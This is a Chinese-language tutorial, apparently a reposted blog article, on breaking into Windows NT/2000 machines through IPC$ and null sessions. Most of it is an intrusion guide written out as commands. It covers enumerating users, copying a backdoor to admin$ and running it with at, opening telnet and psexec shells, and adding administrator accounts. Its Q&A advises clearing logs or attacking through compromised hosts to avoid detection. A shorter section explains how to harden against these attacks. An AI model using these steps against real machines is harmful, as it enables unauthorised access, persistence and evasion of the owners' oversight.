IPC$命令

一 摘要
二 什麼是ipc$
三 什麼是空會話
四 空會話可以做什麼
五 ipc$所使用的端口
六 ipc管道在hack攻擊中的意義
七 ipc$連接失敗的常見原因
八 複製文件失敗的原因
九 關於at命令和xp對ipc$的限制
十 如何打開目標的IPC$共享以及其他共享
十一 一些需要shell才能完成的命令
十二 入侵中可能會用到的命令
十三 對比過去和現今的ipc$入侵
十四 如何防範ipc$入侵
十五 ipc$入侵問答精選

一 摘要
注意:本文所討論的各種情況均默認發生在win NT/2000環境下,win98將不在此次討論之列。


二 什麼是ipc$

IPC$(Internet Process Connection)是共享"命名管道"的資源,它是爲了讓進程間通信而開放的命名管道,通過提供可信任的用戶名和口令,連接雙方可以建立安全的通道並 以此通道進行加密數據的交換,從而實現對遠程計算機的訪問。IPC$是NT/2000的一項新功能,它有一個特點,即在同一時間內,兩個IP之間只允許建 立一個連接。NT/2000在提供了ipc$功能的同時,在初次安裝系統時還打開了默認共享,即所有的邏輯共享(c$,d$,e$……)和系統目錄 winnt或windows(admin$)共享。所有的這些,微軟的初衷都是爲了方便管理員的管理,但在有意無意中,導致了系統安全性的降低。
平時我們總能聽到有人在說ipc$漏洞,ipc$漏洞,其實ipc$並不是一個真正意義上的漏洞,我想之所以有人這麼說,一定是指微軟自己安置的那個‘後門’:空會話(Null session)。那麼什麼是空會話呢?


三 什麼是空會話

在介紹空會話之前,我們有必要了解一下一個安全會話是如何建立的。
在Windows NT 4.0中是使用挑戰響應協議與遠程機器建立一個會話的,建立成功的會話將成爲一個安全隧道,建立雙方通過它互通信息,這個過程的大致順序如下:
1)會話請求者(客戶)向會話接收者(服務器)傳送一個數據包,請求安全隧道的建
立;
2)服務器產生一個隨機的64位數(實現挑戰)傳送回客戶;
3)客戶取得這個由服務器產生的64位數,用試圖建立會話的帳號的口令打亂它,將結
果返回到服務器(實現響應);
4)服務器接受響應後發送給本地安全驗證(LSA),LSA通過使用該用戶正確的口令來覈實響應以便確認請求者身份。如果請求者的帳號是服務器的本地帳 號,覈實本地發生;如果請求的帳號是一個域的帳號,響應傳送到域控制器去核實。當對挑戰的響應覈實爲正確後,一個訪問令牌產生,然後傳送給客戶。客戶使用 這個訪問令牌連接到服務器上的資源直到建議的會話被終止。
以上是一個安全會話建立的大致過程,那麼空會話又如何呢?

空會話是在沒有信任的情況下與服務器建立的會話(即未提供用戶名與密碼),但根據WIN2000的訪問控制模型,空 會話的建立同樣需要提供一個令牌,可是空會話在建立過程中並沒有經過用戶信息的認證,所以這個令牌中不包含用戶信息,因此,這個會話不能讓系統間發送加密 信息,但這並不表示空會話的令牌中不包含安全標識符SID(它標識了用戶和所屬組),對於一個空會話,LSA提供的令牌的SID是S-1-5-7,這就是 空會話的SID,用戶名是:ANONYMOUS LOGON(這個用戶名是可以在用戶列表中看到的,但是是不能在SAM數據庫中找到,屬於系統內置的帳號),這個訪問令牌包含下面僞裝的組:
Everyone
Network
在安全策略的限制下,這個空會話將被授權訪問到上面兩個組有權訪問到的一切信息。那麼建立空會話到底可以作什麼呢?


四 空會話可以做什麼

對於NT,在默認安全設置下,藉助空連接可以列舉目標主機上的用戶和共享,訪問everyone權限的共享,訪問小部分註冊表等,並沒有什麼太大的利用價值;對2000作用更小,因爲在Windows 2000 和以後版本中默認只有管理員和備份操作員有權從網絡訪問到註冊表,而且實現起來也不方便,需藉助工具。
從這些我們可以看到,這種非信任會話並沒有多大的用處,但從一次完整的ipc$入侵來看,空會話是一個不可缺少的跳板,因爲我們從它那裏可以得到戶列表, 而大多數弱口令掃描工具就是利用這個用戶列表來進行口令猜解的,成功的導出用戶列表大大增加了猜解的成功率,僅從這一點,足以說明空會話所帶來的安全隱 患,因此說空會話毫無用處的說法是不正確的。以下是空會話中能夠使用的一些具體命令:


1 首先,我們先建立一個空連接(當然,這需要目標開放ipc$)
命令:net use //ip/ipc$ "" /user:""
注意:上面的命令包括四個空格,net與use中間有一個空格,use後面一個,密碼左右各一個空格。


2 查看遠程主機的共享資源
命令:net view //ip
解釋:前提是建立了空連接後,用此命令可以查看遠程主機的共享資源,如果它開了共享,可以得到如下面的結果,但此命令不能顯示默認共享。

在 //*.*.*.*的共享資源
資源共享名 類型 用途 註釋

-----------------------------------------------------------
NETLOGON Disk Logon server share
SYSVOL Disk Logon server share
命令成功完成。

3 查看遠程主機的當前時間
命令: net time //ip
解釋:用此命令可以得到一個遠程主機的當前時間。


4 得到遠程主機的NetBIOS用戶名列表(需要打開自己的NBT)
命令:nbtstat -A ip
用此命令可以得到一個遠程主機的NetBIOS用戶名列表,返回如下結果:

Node IpAddress: [*.*.*.*] Scope Id: []

NetBIOS Remote Machine Name Table

Name Type Status
---------------------------------------------
SERVER <00> UNIQUE Registered
OYAMANISHI-H <00> GROUP Registered
OYAMANISHI-H <1C> GROUP Registered
SERVER <20> UNIQUE Registered
OYAMANISHI-H <1B> UNIQUE Registered
OYAMANISHI-H <1E> GROUP Registered
SERVER <03> UNIQUE Registered
OYAMANISHI-H <1D> UNIQUE Registered
..__MSBROWSE__.<01> GROUP Registered
INet~Services <1C> GROUP Registered
IS~SERVER......<00> UNIQUE Registered

MAC Address = 00-50-8B-9A-2D-37


以上就是我們經常使用空會話做的事情,好像也能獲得不少東西喲,不過要注意一點:建立IPC$連接的操作會在Event Log中留下記錄,不管你是否登錄成功。 好了,那麼下面我們就來看看ipc$所使用的端口是什麼?


五 ipc$所使用的端口

首先我們來了解一些基礎知識:
1 SMB:(Server Message Block) Windows協議族,用於文件打印共享的服務;
2 NBT:(NETBios Over TCP/IP)使用137(UDP)138(UDP)139(TCP)端口實現基於TCP/IP協議的NETBIOS網絡互聯。
3 在WindowsNT中SMB基於NBT實現,即使用139(TCP)端口;而在Windows2000中,SMB除了基於NBT實現,還可以直接通過445端口實現。

有了這些基礎知識,我們就可以進一步來討論訪問網絡共享對端口的選擇了:

對於win2000客戶端(發起端)來說:
1 如果在允許NBT的情況下連接服務器時,客戶端會同時嘗試訪問139和445端口,如果445端口有響應,那麼就發送RST包給139端口斷開連接,用455端口進行會話,當445端口無響應時,才使用139端口,如果兩個端口都沒有響應,則會話失敗;
2 如果在禁止NBT的情況下連接服務器時,那麼客戶端只會嘗試訪問445端口,如果445端口無響應,那麼會話失敗。


對於win2000服務器端來說:
1 如果允許NBT, 那麼UDP端口137, 138, TCP 端口 139, 445將開放(LISTENING);
2 如果禁止NBT,那麼只有445端口開放。


我們建立的ipc$會話對端口的選擇同樣遵守以上原則。顯而易見,如果遠程服務器沒有監聽139或445端口,ipc$會話是無法建立的。


六 ipc管道在hack攻擊中的意義

ipc管道本來是微軟爲了方便管理員進行遠程管理而設計的,但在入侵者看來,開放ipc管道的主機似乎更容易得手。通過ipc管道,我們可以遠程調用一些 系統函數(大多通過工具實現,但需要相應的權限),這往往是入侵成敗的關鍵。如果不考慮這些,僅從傳送文件這一方面,ipc管道已經給了入侵者莫大的支 持,甚至已經成爲了最重要的傳輸手段,因此你總能在各大論壇上看到一些朋友因爲打不開目標機器的ipc管道而一籌莫展大呼救命。當然,我們也不能忽視權限 在ipc管道中扮演的重要角色,想必你一定品嚐過空會話的尷尬,沒有權限,開啓管道我們也無可奈何。但入侵者一旦獲得了管理員的權限,那麼ipc管道這把 雙刃劍將顯示出它猙獰的一面。


七 ipc$連接失敗的常見原因

以下是一些常見的導致ipc$連接失敗的原因:

1 IPC連接是Windows NT及以上系統中特有的功能,由於其需要用到Windows NT中很多DLL函數,所以不能在Windows 9.x/Me系統中運行,也就是說只有nt/2000/xp纔可以相互建立ipc$連接,98/me是不能建立ipc$連接的;


2 如果想成功的建立一個ipc$連接,就需要響應方開啓ipc$共享,即使是空連接也是這樣,如果響應方關閉了ipc$共享,將不能建立連接;


3 連接發起方未啓動Lanmanworkstation服務(顯示名爲:Workstation):它提供網絡鏈結和通訊,沒有它發起方無法發起連接請求;


4 響應方未啓動Lanmanserver服務(顯示名爲:Server):它提供了 RPC 支持、文件、打印以及命名管道共享,ipc$依賴於此服務,沒有它主機將無法響應發起方的連接請求,不過沒有它仍可發起ipc$連接;


5 響應方未啓動NetLogon,它支持網絡上計算機 pass-through 帳戶登錄身份(不過這種情況好像不多);


6 響應方的139,445端口未處於監聽狀態或被防火牆屏蔽;


7 連接發起方未打開139,445端口;


8 用戶名或者密碼錯誤:如果發生這樣的錯誤,系統將給你類似於'無法更新密碼'這樣的錯誤提示(顯然空會話排除這種錯誤);


9 命令輸入錯誤:可能多了或少了空格,當用戶名和密碼中不包含空格時兩邊的雙引號可以省略,如果密碼爲空,可以直接輸入兩個引號""即可;


10 如果在已經建立好連接的情況下對方重啓計算機,那麼ipc$連接將會自動斷開,需要重新建立連接。


另外,你也可以根據返回的錯誤號分析原因:

錯誤號5,拒絕訪問:很可能你使用的用戶不是管理員權限的;
錯誤號51,Windows無法找到網絡路徑:網絡有問題;
錯誤號53,找不到網絡路徑:ip地址錯誤;目標未開機;目標lanmanserver服務未啓動;目標有防火牆(端口過濾);
錯誤號67,找不到網絡名:你的lanmanworkstation服務未啓動或者目標刪除了ipc$;
錯誤號1219,提供的憑據與已存在的憑據集衝突:你已經和對方建立了一個ipc$,請刪除再連;
錯誤號1326,未知的用戶名或錯誤密碼:原因很明顯了;
錯誤號1792,試圖登錄,但是網絡登錄服務沒有啓動:目標NetLogon服務未啓動;
錯誤號2242,此用戶的密碼已經過期:目標有帳號策略,強制定期要求更改密碼。


八 複製文件失敗的原因

有些朋友雖然成功的建立了ipc$連接,但在copy時卻遇到了這樣那樣的麻煩,無法複製成功,那麼導致複製失敗的常見原因又有哪些呢?


1 對方未開啓共享文件夾
這類錯誤出現的最多,佔到50%以上。許多朋友在ipc$連接建立成功後,甚至都不知道對方是否有共享文件夾,就進行盲目複製,結果導致複製失敗而且鬱悶的很。因此我建議大家在進行復制之前務必用net view //IP這個命令看一下你想要複製的共享文件夾是否存在(用軟件查看當然更好),不要認爲能建立ipc$連接就一定有共享文件夾存在。


2 向默認共享複製失敗
這類錯誤也是大家經常犯的,主要有兩個小方面:

1)錯誤的認爲能建立ipc$連接的主機就一定開啓了默認共享,因而在建立完連接之後馬上向c$,d$,admin $之類的默認共享複製文件,一旦對方未開啓默認共享,將導致複製失敗。ipc$連接成功只能說明對方打開了ipc$共享,並不能說明默認共享一定存在。 ipc$共享與默認共享是兩碼事,ipc$共享是一個命名管道,並不是哪個實際的文件夾,而默認共享卻是實實在在的共享文件夾;

2)由於net view //IP 這個命令無法顯示默認共享文件夾(因爲默認共享帶$),因此通過這個命令,我們並不能判斷對方是否開啓了默認共享,因此如果對方未開啓默認共享,那麼所有 向默認共享進行的操作都不能成功;(不過大部分掃描軟件在掃弱口令的同時,都能掃到默認共享目錄,可以避免此類錯誤的發生)

要點:請大家一定區分ipc共享,默認共享,普通共享這三者的區別:ipc共享是一個管道,並不是實際的共享文件夾;默認共享是安裝時默認打開的文件夾;普通共享是我們自己開啓的可以設置權限的共享文件夾。


3用戶權限不夠,包括四種情形:
1)空連接向所有共享(默認共享和普通共享)複製時,權限是不夠的;
2)向默認共享複製時,在Win2000 Pro版中,只有Administrators和Backup Operators組成員纔可以,在Win2000 Server版本 Server Operatros組也可以訪問到這些共享目錄;
3)向普通共享複製時,要具有相應權限(即對方管理員事先設定的訪問權限);
4)對方可以通過防火牆或安全軟件的設置,禁止外部訪問共享;

注意:
1 不要認爲administrator就一定具有管理員權限,管理員名稱是可以改的
2 管理員可以訪問默認共享的文件夾,但不一定能夠訪問普通的共享文件夾,因爲管理員可以對普通的共享文件夾進行訪問權限設置,如圖6,管理員爲D盤設置的訪 問權限爲僅允許名爲xinxin的用戶對該文件夾進行完全訪問,那麼此時即使你擁有管理員權限,你仍然不能訪問D盤。不過有意思的是,如果此時對方又開啓 了D$的默認共享,那麼你卻可以訪問D$,從而繞過了權限限制,有興趣的朋友可以自己做測試。


4被防火牆殺死或在局域網
還有一種情況,那就是也許你的複製操作已經成功,但當遠程運行時,被防火牆殺掉了,導致找不到文件;或者你把木馬複製到了局域網內的主機,導致連接失敗 (反向連接的木馬不會發生這種情況)。如果你沒有想到這種情況,你會以爲是複製上出了問題,但實際你的複製操作已經成功了,只是運行時出了問題。


呵呵,大家也知道,ipc$連接在實際操作過程中會出現各種各樣的問題,上面我所總結的只是一些常見錯誤,沒說到的,大家可以給我提個醒兒。


九 關於at命令和xp對ipc$的限制

本來還想說一下用at遠程運行程序失敗的原因,但考慮到at的成功率不是很高,問題也很多,在這裏就不提它了(提的越多,用的人就越多),而是推薦大家用 psexec.exe遠程運行程序,假設想要遠程機器執行本地c:/xinxin.exe文件,且管理員爲administrator,密碼爲1234, 那麼輸入下面的命令:
psexec //ip -u administrator -p 1234 -c c:/xinxin.exe
如果已經建立ipc連接,則-u -p這兩個參數不需要,psexec.exe將自動拷貝文件到遠程機器並運行。

本來xp中的ipc$也不想在這裏討論,想單獨拿出來討論,但看到越來越多的朋友很急切的提問爲什麼遇到xp的時 候,大部分操作都很難成功。我在這裏就簡單提一下吧,在xp的默認安全選項中,任何遠程訪問僅被賦予來賓權限,也就是說即使你是用管理員帳戶和密碼,你所 得到的權限也只是Guest,因此大部分操作都會因爲權限不夠而失敗,而且到目前爲止並沒有一個好的辦法來突破這一限制。所以如果你真的得到了xp的管理 員密碼,我建議你儘量避開ipc管道。


十 如何打開目標的IPC$共享以及其他共享

目標的ipc$不是輕易就能打開的,否則就要天下打亂了。你需要一個admin權限的shell,比如telnet,木馬,cmd重定向等,然後在shell下執行:
net share ipc$
開放目標的ipc$共享;
net share ipc$ /del
關閉目標的ipc$共享;如果你要給它開共享文件夾,你可以用:
net share xinxin=c:/
這樣就把它的c盤開爲共享名爲xinxin共享文件夾了。(可是我發現很多人錯誤的認爲開共享文件夾的命令是net share c$,還大模大樣的給菜鳥指指點點,真是誤人子弟了)。再次聲明,這些操作都是在shell下才能實現的。


十一 一些需要shell才能完成的命令

看到很多教程這方面寫的十分不準確,一些需要shell才能完成命令就簡簡單單的在ipc$連接下執行了,起了誤導作用。那麼下面我總結一下需要在shell才能完成的命令:

1 向遠程主機建立用戶,激活用戶,修改用戶密碼,加入管理組的操作需要在shell下完成;

2 打開遠程主機的ipc$共享,默認共享,普通共享的操作需要在shell下完成;

3 運行/關閉遠程主機的服務,需要在shell下完成;

4 啓動/殺掉遠程主機的進程,也需要在shell下完成(用軟件的情況下除外,如pskill)。


十二 入侵中可能會用到的命令
爲了這份教程的完整性,我列出了ipc$入侵中的一些常用命令,如果你已經掌握了這些命令,你可以跳過這一部分看下面的內容。請注意這些命令是適用於本地還是遠程,如果只適用於本地,你只能在獲得遠程主機的shell(如cmd,telnet等)後,才能向遠程主機執行。


1 建立/刪除ipc$連接的命令

1)建立空連接:
net use //127.0.0.1/ipc$ "" /user:""

2)建立非空連接:
net use //127.0.0.1/ipc$ "密碼" /user:"用戶名"

3)刪除連接:
net use //127.0.0.1/ipc$ /del


2 在ipc$連接中對遠程主機的操作命令

1) 查看遠程主機的共享資源(看不到默認共享):
net view //127.0.0.1

2) 查看遠程主機的當前時間:
net time //127.0.0.1

3) 得到遠程主機的netbios用戶名列表:
nbtstat -A 127.0.0.1

4)映射/刪除遠程共享:
net use z: //127.0.0.1/c
此命令將共享名爲c的共享資源映射爲本地z盤

net use z: /del
刪除映射的z盤,其他盤類推

5)向遠程主機複製文件:
copy 路徑/文件名 //IP/共享目錄名,如:
copy c:/xinxin.exe //127.0.0.1/c$ 即將c盤下的xinxin.exe複製到對方c盤內
當然,你也可以把遠程主機上的文件複製到自己的機器裏:
copy //127.0.0.1/c$/xinxin.exe c:/

6)遠程添加計劃任務:
at //IP 時間 程序名 如:
at //127.0.0.0 11:00 xinxin.exe
注意:時間儘量使用24小時制;如果你打算運行的程序在系統默認搜索路徑(比如system32/)下則不用加路徑,否則必須加全路徑


3 本地命令

1)查看本地主機的共享資源(可以看到本地的默認共享)
net share

2)得到本地主機的用戶列表
net user

3)顯示本地某用戶的帳戶信息
net user 帳戶名

4)顯示本地主機當前啓動的服務
net start

5)啓動/關閉本地服務
net start 服務名
net stop 服務名

6)在本地添加帳戶
net user 帳戶名 密碼 /add

7)激活禁用的用戶
net uesr 帳戶名 /active:yes

8)加入管理員組
net localgroup administrators 帳戶名 /add

很顯然的是,雖然這些都是本地命令,但如果你在遠程主機的shell中輸入,比如你telnet成功後輸入上面這些命令,那麼這些本地輸入將作用在遠程主機上。


4 其他一些命令
1)telnet
telnet IP 端口
telnet 127.0.0.0 23

2)用opentelnet.exe開啓遠程主機的telnet
OpenTelnet.exe //ip 管理員帳號 密碼 NTLM的認證方式 port
OpenTelnet.exe //127.0.0.1 administrator "" 1 90
不過這個小工具需要滿足四個要求:
1)目標開啓了ipc$共享
2)你要擁有管理員密碼和帳號
3)目標開啓RemoteRegistry服務,用戶就可以更改ntlm認證
4)對僅WIN2K/XP有效

3)用psexec.exe一步獲得shell,需要ipc管道支持
psexec.exe //IP -u 管理員帳號 -p 密碼 cmd
psexec.exe //127.0.0.1 -u administrator -p "" cmd


十三 對比過去和現今的ipc$入侵

既然是對比,那麼我就先把過去的ipc$入侵步驟寫給大家,都是蠻經典的步驟:

[1]
C:/>net use //127.0.0.1/ipc$ "" /user:admintitrators
//用掃到的空口令建立連接  

[2]
c:/>net view //127.0.0.1
//查看遠程的共享資源

[3]
C:/>copy srv.exe //127.0.0.1/admin$/system32
//將一次性後門srv.exe複製到對方的系統文件夾下,前提是admin$開啓  

[4]
C:/>net time //127.0.0.1
//查看遠程主機的當前時間

[5]
C:/>at //127.0.0.1 時間 srv.exe
//用at命令遠程運行srv.exe,需要對方開啓了'Task Scheduler'服務  

[6]
C:/>net time //127.0.0.1
//再次查看當前時間來估算srv.exe是否已經運行,此步可以省略

[7]    
C:/>telnet 127.0.0.1 99
//開一個新窗口,用telnet遠程登陸到127.0.0.1從而獲得一個shell(不懂shell是什麼意思?那你就把它想象成遠程機器的控制權就好了,操作像DOS),99端口是srv.exe開的一次性後門的端口  

[8]
C:/WINNT/system32>net start telnet
//我們在剛剛登陸上的shell中啓動遠程機器的telnet服務,畢竟srv.exe是一次性的後門,我們需要一個長久的後門便於以後訪問,如果對方的telnet已經啓動,此步可省略

[9]
C:/>copy ntlm.exe //127.0.0.1/admin$/system32
//在原來那個窗口中將ntlm.exe傳過去,ntlm.exe是用來更改telnet身份驗證的  

[10]
C:/WINNT/system32>ntlm.exe
//在shell窗口中運行ntlm.exe,以後你就可以暢通無阻的telnet這臺主機了
  
[11]
C:/>telnet 127.0.0.1 23
//在新窗口中telnet到127.0.0.1,端口23可省略,這樣我們又獲得一個長期的後門

[12]
C:/WINNT/system32>net user 帳戶名 密碼 /add
C:/WINNT/system32>net uesr guest /active:yes
C:/WINNT/system32>net localgroup administrators 帳戶名 /add
//telnet上以後,你可以建立新帳戶,激活guest,把任何帳戶加入管理員組等

好了,寫到這裏我似乎回到了2,3年前,那時的ipc$大家都是這麼用的,不過隨着新工具的出現,上面提到的一些工具和命令現在已經不常用到了,那就讓我們看看現在的高效而簡單的ipc$入侵吧。

[1]
psexec.exe //IP -u 管理員帳號 -p 密碼 cmd
//用這個工具我們可以一步到位的獲得shell

OpenTelnet.exe //server 管理員帳號 密碼 NTLM的認證方式 port
//用它可以方便的更改telnet的驗證方式和端口,方便我們登陸

[2]
已經沒有第二步了,用一步獲得shell之後,你做什麼都可以了,安後門可以用winshell,克隆就用ca吧,開終端用3389.vbe,記錄密碼用win2kpass,總之好的工具不少,隨你選了,我就不多說了。


十四 如何防範ipc$入侵
察看本地共享資源
運行-cmd-輸入net share
刪除共享(每次輸入一個)
net share ipc$ /delete
net share admin$ /delete
net share c$ /delete
net share d$ /delete(如果有e,f,……可以繼續刪除)

1 禁止空連接進行枚舉(此操作並不能阻止空連接的建立)

運行regedit,找到如下主鍵[HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/LSA]把RestrictAnonymous = DWORD的鍵值改爲:1
如果設置爲"1",一個匿名用戶仍然可以連接到IPC$共享,但無法通過這種連接得到列舉SAM帳號和共享信息的權限;在Windows 2000 中增加了"2",未取得匿名權的用戶將不能進行ipc$空連接。建議設置爲1。如果上面所說的主鍵不存在,就新建一個再改鍵值。如果你覺得改註冊表麻煩,可以在本地安全設置中設置此項: 在本地安全設置-本地策略-安全選項-'對匿名連接的額外限制'


2 禁止默認共享

1)察看本地共享資源
運行-cmd-輸入net share

2)刪除共享(重起後默認共享仍然存在)
net share ipc$ /delete
net share admin$ /delete
net share c$ /delete
net share d$ /delete(如果有e,f,……可以繼續刪除)

3)停止server服務
net stop server /y (重新啓動後server服務會重新開啓)

4)禁止自動打開默認共享(此操作並不能關閉ipc$共享)
運行-regedit

server版:找到如下主鍵[HKEY_LOCAL_MACHINE/SYSTEM/ CurrentControlSet/Services/LanmanServer/Parameters]把AutoShareServer (DWORD)的鍵值改爲:00000000。

pro版:找到如下主鍵[HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/LanmanServer/Parameters]把AutoShareWks(DWORD)的鍵值改爲:00000000。
這兩個鍵值在默認情況下在主機上是不存在的,需要自己手動添加,修改後重起機器使設置生效。


3 關閉ipc$和默認共享依賴的服務:server服務
如果你真的想關閉ipc$共享,那就禁止server服務吧:
控制面板-管理工具-服務-找到server服務(右擊)-屬性-常規-啓動類型-選已禁用,這時可能會有提示說:XXX服務也會關閉是否繼續,因爲還有些次要的服務要依賴於server服務,不要管它。


4 屏蔽139,445端口
由於沒有以上兩個端口的支持,是無法建立ipc$的,因此屏蔽139,445端口同樣可以阻止ipc$入侵。

1)139端口可以通過禁止NBT來屏蔽
本地連接-TCP/IT屬性-高級-WINS-選‘禁用TCP/IT上的NETBIOS’一項

2)445端口可以通過修改註冊表來屏蔽
添加一個鍵值
Hive: HKEY_LOCAL_MACHINE
Key: System/Controlset/Services/NetBT/Parameters
Name: SMBDeviceEnabled
Type: REG_DWORD
Value: 0
修改完後重啓機器
注意:如果屏蔽掉了以上兩個端口,你將無法用ipc$入侵別人。

3)安裝防火牆進行端口過濾


6 設置複雜密碼,防止通過ipc$窮舉出密碼,我覺得這纔是最好的辦法,增強安全意識,比不停的打補丁要安全的多。


十五 ipc$入侵問答精選

1.進行ipc$入侵的時候,會在服務器中留下記錄,有什麼辦法可以不讓服務器發現嗎?

答:留下記錄是一定的,你走後用清除日誌程序刪除就可以了,或者用肉雞入侵。


2.你看下面的情況是爲什麼,可以連接但不能複製
net use //***.***.***.***/ipc$ "密碼" /user:"用戶名"
命令成功
copy icmd.exe //***.***.***.***/admin$
找不到網絡路徑
命令不成功

答:像“找不到網絡路徑”“找不到網絡名”之類的問題,大多是因爲你想要複製到的共享文件夾沒有開啓,所以在複製的時候會出現錯誤,你可以試着找找其他的共享文件夾。


3.如果對方開了IPC$,且能建立空聯接,但打開C、D盤時,都要求密碼,我知道是空連接沒有太多的權限,但沒別的辦法了嗎?

答:建議先用流光或者別的什麼掃描軟件試着猜解一下密碼,如果猜不出來,只能放棄,畢竟空連接的能力有限。


4.我已經猜解到了管理員的密碼,且已經ipc$連接成功了,但net view //ip發現它沒開默認共享,我該怎麼辦?

答:首先糾正你的一個錯誤,用net view //ip是無法看到默認共享的,你可以試着將文件複製到c$,d$看看,如果都不行,說明他關閉了默認共享,那你就用opentelnet.exe或psexec.exe吧,用法上面有。


5.ipc$連接成功後,我用下面的命令建立了一個帳戶,卻發現這個帳戶在我自己的機器上,這是怎麼回事?
net uset ccbirds /add

答:ipc$建立成功只能說明你與遠程主機建立了通信隧道,並不意味你取得了一個shell,只有在獲得一個shell(比如telnet)之後,你才能在遠程機器建立一個帳戶,否則你的操作只是在本地進行。


6.我已進入了一臺肉機,用的管理員帳號,可以看他的系統時間,但是複製程序到他的機子上卻不行,每次都提示“拒絕訪問,已複製0個文件”,是不是對方有什麼服務沒開,我該怎麼辦?

答:一般來說“拒絕訪問”都是權限不夠的結果,可能是你用的帳戶有問題,還有一種可能,如果你想向普通共享文件夾複製文件卻返回這個錯誤,說明這個文件夾設置的允許訪問用戶中不包括你(哪怕你是管理員),這一點我在上一期文章中分析了。


7.我用Win98能與對方建立ipc$連接嗎?

答:理論上不可以,要進行ipc$的操作,建議用win2000,用其他操作系統會帶來許多不必要的麻煩。


8.我用net use //ip/ipc$ "" /user ""成功的建立了一個空會話,但用nbtstat -A IP 卻無法導出用戶列表,這是爲什麼?

答:空會話在默認的情況下是可以導出用戶列表的,但如果管理員通過修改註冊表來禁止導出列表,就會出現你所說的情況;還有可能是你自己的NBT沒有打開,netstat命令是建立在NBT之上的。  


9.我建立ipc$連接的時候返回如下信息:‘提供的憑據與已存在的憑據集衝突’,怎麼回事?

答:呵呵,這說明你已經與目標主機建立了ipc$連接,兩個主機間同時建立兩個ipc$連接是不允許的。


10.我在映射的時候出現:
F:/>net use h: //211.161.134.*/e$
系統發生 85 錯誤。
本地設備名已在使用中。這是怎麼回事?

答:你也太粗心了吧,這說明你有一個h盤了,映射到沒有的盤符吧!


11.我建立了一個連接f:/>net use //*.*.*.*/ipc$ "123" /user:"guest" 成功了,但當我映射時出現了錯誤,向我要密碼,怎麼回事?
F:/>net use h: //*.*.*.*/c$
密碼在 //*.*.*.*/c$ 無效。
請鍵入 //*.*.*.*/c$ 的密碼:
系統發生 5 錯誤。
拒絕訪問。

答:呵呵,向你要密碼說明你當前使用的用戶權限不夠,不能映射C$這個默認共享,想辦法提升權限或者找管理員的弱口令吧!默認共享一般是需要管理員權限的。


12.我用superscan掃到了一個開了139端口的主機,但爲什麼不能空連接呢?

答:你混淆了ipc$與139的關係,能進行ipc$連接的主機一定開了139或445端口,但開這兩個端口的主機可不一定能空連接,因爲對方可以關閉ipc$共享.


13.我門局域網裏的機器大多都是xp,我用流光掃描到幾個administrator帳號口令是空,而且可以連接,但不能複製東西,說錯誤5。請問爲什麼?

答:xp的安全性要高一些,在安全策略的默認設置中,對本地帳戶的網絡登錄進行身份驗證的時候,默認爲來賓權限,即使你用管理員遠程登錄,也只具有來賓權限,因此你複製文件,當然是錯誤5:權限不夠。


14.我用net use //192.168.0.2/ipc$ "password" /user:"administrator" 成功,可是 net use i: //192.168.0.2/c
出現請鍵入 //192.168.0.2 的密碼,怎麼回事情呢?我用的可是管理員呀?應該什麼都可以訪問呀?

答:雖然你具有管理員權限,但管理員在設置c盤共享權限時(注意:普通共享可以設置訪問權限,而默認共享則不能)可能並未設置允許administrator訪問,所以會出現上述問題。


15.如果自己的機器禁止了ipc$, 是不是還可以用ipc$連接別的機器?如果禁止server服務呢?

答:禁止以上兩項仍可以發起ipc$連接,不過這種問題自己動手試驗會更好。


16.能告訴我下面的兩個錯誤產生的原因嗎?
c:/>net time //61.225.*.*
系統發生 5 錯誤。
拒絕訪問。

c:/>net view //61.225.*.*
系統發生 5 錯誤。
拒絕訪問。

答:起初遇到這個問題的時候我也很納悶,錯誤5表示權限不夠,可是連空會話的權限都可以完成上面的兩個命令,他爲什麼不行呢?難道是他沒建立連接?後來那個粗心的同志告訴我的確是這樣,他忘記了自己已經刪了ipc$連接,之後他又輸入了上面那兩個命令,隨之發生了錯誤5。


17.您看看這是怎麼回事?
F:/>net time
找不到時間服務器。
請鍵入 NET HELPMSG 3912 以獲得更多的幫助。

答:答案很簡單,你的命令錯了,應該是net time //ip
沒輸入ip地址,當然找不到服務器。view的命令也應該有ip地址,即:net view //ip

發佈了28 篇原創文章 · 獲贊 2 · 訪問量 9萬+
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章